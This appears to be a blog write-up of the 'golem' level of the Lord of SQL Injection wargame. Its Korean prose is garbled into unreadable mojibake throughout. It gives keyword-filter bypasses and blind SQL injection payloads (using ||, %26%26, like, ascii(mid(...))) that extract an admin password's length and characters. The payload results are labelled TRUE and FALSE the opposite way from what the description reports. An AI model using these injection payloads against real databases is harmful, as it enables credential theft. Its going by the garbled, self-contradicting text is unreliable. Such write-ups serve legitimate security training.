ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

CHALLENGE

[LOS] Golem ํ’€์ด(11)

๐ŸŒง: 2020. 12. 6.

11๋ฒˆ์งธ ๋ฌธ์ œ์ธ " golem " ๋ฌธ์ œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด 2๊ฐ€์ง€ ๊ฒ€์ฆ์ ˆ์ฐจ๋ฅผ ๊ฑฐ์น˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET [pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");

๊ฒ€์ฆํ•˜๊ณ  ์žˆ๋Š” ๋ฌธ๊ตฌ๋“ค์„ ํ™•์ธํ•ด๋ณด๋ฉด ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ์—ฐ์‚ฐ์ž์ธ " or, and, = " ๊ทธ๋ฆฌ๊ณ  ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ธ " substr " ๊นŒ์ง€ ๊ฒ€์ฆ์„ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ „ ๋‹จ๊ณ„์˜ ๋ ˆ๋ฒจ์—์„œ๋Š” or์™€ and ์—ฐ์‚ฐ์ž ๋Œ€์ฒด ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ–ˆ์ง€๋งŒ substr ํ•จ์ˆ˜๊นŒ์ง€ ์šฐํšŒํ•ด์•ผ ๋˜๋‹ˆ ์ข€ ๋” ๊นŒ๋‹ค๋กœ์›Œ์กŒ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 

ํ˜„์žฌ admin ๊ณ„์ •์œผ๋กœ ์„ ์–ธ์ด ๋˜์–ด ์žˆ๋Š” ์ƒํƒœ์ด๋ฉฐ " pw " ๋ณ€์ˆ˜๋ฅผ ํ™œ์šฉํ•ด์„œ ์ ๋‹นํ•œ ์ฟผ๋ฆฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

if(($result ['pw']) && ($result ['pw'] == $_GET ['pw'])) solve("golem");

๋˜ํ•œ ๋ฌธ์ž์—ด ์ถ”์ถœ์„ ํ•ด์ฃผ๋Š” substr ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด ์–ด๋Š์ •๋„ ์˜ˆ์ธกํ•  ์ˆ˜๊ฐ€ ์žˆ์œผ๋ฉฐ ์ž…๋ ฅ๋œ ํŒจ์Šค์›Œ๋“œ์™€ DB ๋‚ด์— ์žˆ๋Š” ํŒจ์Šค์›Œ๋“œ ๊ฐ’์ด ๋™์ผํ•ด์•ผ ๋˜๊ธฐ์— BSQLi ๊ธฐ๋ฒ•์„ ํ™œ์šฉํ•ด์„œ ์ฐธ, ๊ฑฐ์ง“ ๊ฐ’์œผ๋กœ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์œ ์ถ”ํ•ด์•ผ ๋ฉ๋‹ˆ๋‹ค.

 

ํ•„ํ„ฐ๋ง ์šฐํšŒ
or --> || ํŒŒ์ดํ”„ ๊ธฐํ˜ธ ์‚ฌ์šฉ
and --> && --> %26%26
= --> like ๋˜๋Š” between ์„ ์‚ฌ์šฉ
substr --> right, left, mid ๋“ฑ ์„ ์‚ฌ์šฉ

left: ๋ฌธ์ž์— ์™ผ์ชฝ์„ ๊ธฐ์ค€์œผ๋กœ ์ผ์ • ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜
mid: ๋ฌธ์ž์— ์ง€์ •ํ•œ ์‹œ์ž‘ ์œ„์น˜๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ผ์ • ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜
right : ๋ฌธ์ž์— ์˜ค๋ฅธ์ชฝ์„ ๊ธฐ์ค€์œผ๋กœ ์ผ์ • ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜.
ord : ์•„์Šคํ‚ค ์ฝ”๋“œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜

๊ฒ€์ฆํ•˜๊ณ  ์žˆ๋Š” ์—ฐ์‚ฐ์ž๋“ค์„ ๋‹ค๋ฅธ ๊ธฐํ˜ธ๋กœ ๋Œ€์ฒดํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฌธ์„ ์™„์„ฑํ•ด์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

์œ„์˜ ๊ฒฐ๊ณผ ์‚ฌ์ง„์€ admin ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๋ฅผ ์œ ์ถ”ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ด๋ฉฐ ์œ„์˜ ๊ฒฝ์šฐ ํŒจ์Šค์›Œ๋“œ๊ฐ€ 5์ž๋ฆฌ๊ฐ€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฑฐ์ง“, ์ฆ‰ ์•„๋ฌด ๋ฐ˜์‘์ด ์—†์ง€๋งŒ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๊ฐ€ 8์ž๋ฆฌ์ธ์ง€ ํ™•์ธํ•ด๋ณด์ž " Hello admin " ์ด๋ผ๋Š” ๋ฌธ๊ตฌ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ๋„์ถœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

 

ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๋ฅผ ์•Œ์•„๋ƒˆ์œผ๋‹ˆ ์ด์ œ " burp suite "  ์˜ " cluster bomb " ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•ด์„œ ์ง€์ •์‹œํ‚จ ๊ฐ’์„ ํ•˜๋‚˜์”ฉ ์ฆ๊ฐ€์‹œ์ผœ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” ํŒจ์Šค์›Œ๋“œ๋ฅผ ์œ ์ถ”ํ•ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

Input Code

' || id like 'admin' %26%26 length(pw) like '5'%23  --> TRUE
' || id like 'admin' %26%26 length(pw) like '8'%23  --> FALSE

 

๋„์ถœ์‹œํ‚จ ํŒจ์Šค์›Œ๋“œ๋ฅผ ascii ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ๋น„๊ตํ•˜๋Š” ๋ฐฉ์‹์„ ์‚ฌ์šฉํ–ˆ์ง€๋งŒ ์ด๋ฒˆ์—๋Š” " substr " ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ mid ๋‚˜ left, right ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ๋ฉ๋‹ˆ๋‹ค.

 

Exploit Code

' || id like 'admin' %26%26 ascii(mid(pw,1,1)) like 47%23

32 ~ 47 : ํŠน์ˆ˜๋ฌธ์ž (space,!, ", #, $, %, & ๋“ฑ)
58 ~ 64 : ํŠน์ˆ˜๋ฌธ์ž (:, ;, <, =, >, ?, @)
123 ~ 126 : ํŠน์ˆ˜๋ฌธ์ž ({, |, }, ~)
48 ~ 57 : ์ˆซ์ž (0 ~ 9)
65 ~ 90 : ์˜์–ด(๋Œ€๋ฌธ์ž) (A ~ Z)
97 ~ 122  : ์˜์–ด(์†Œ๋ฌธ์ž) (a ~ z)

๋„์ถœ๋œ ASCII ๊ฐ’์— ๋Œ€ํ•ด ์›๋ณตํ›„ ํŒจ์Šค์›Œ๋“œ์— ์ž…๋ ฅํ•˜๋ฉด ์„ฑ๊ณต์ ์œผ๋กœ Clearํ• ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

'CHALLENGE' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

XSS Challenges 5-1  (0) 2020.12.07
XSS Challenges 4  (0) 2020.12.06
[LOS] Skeleton ํ’€์ด(10)  (0) 2020.12.06
[LOS] Vampire ํ’€์ด(9)  (0) 2020.12.06
[LOS] Troll ํ’€์ด(8)  (0) 2020.12.06
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment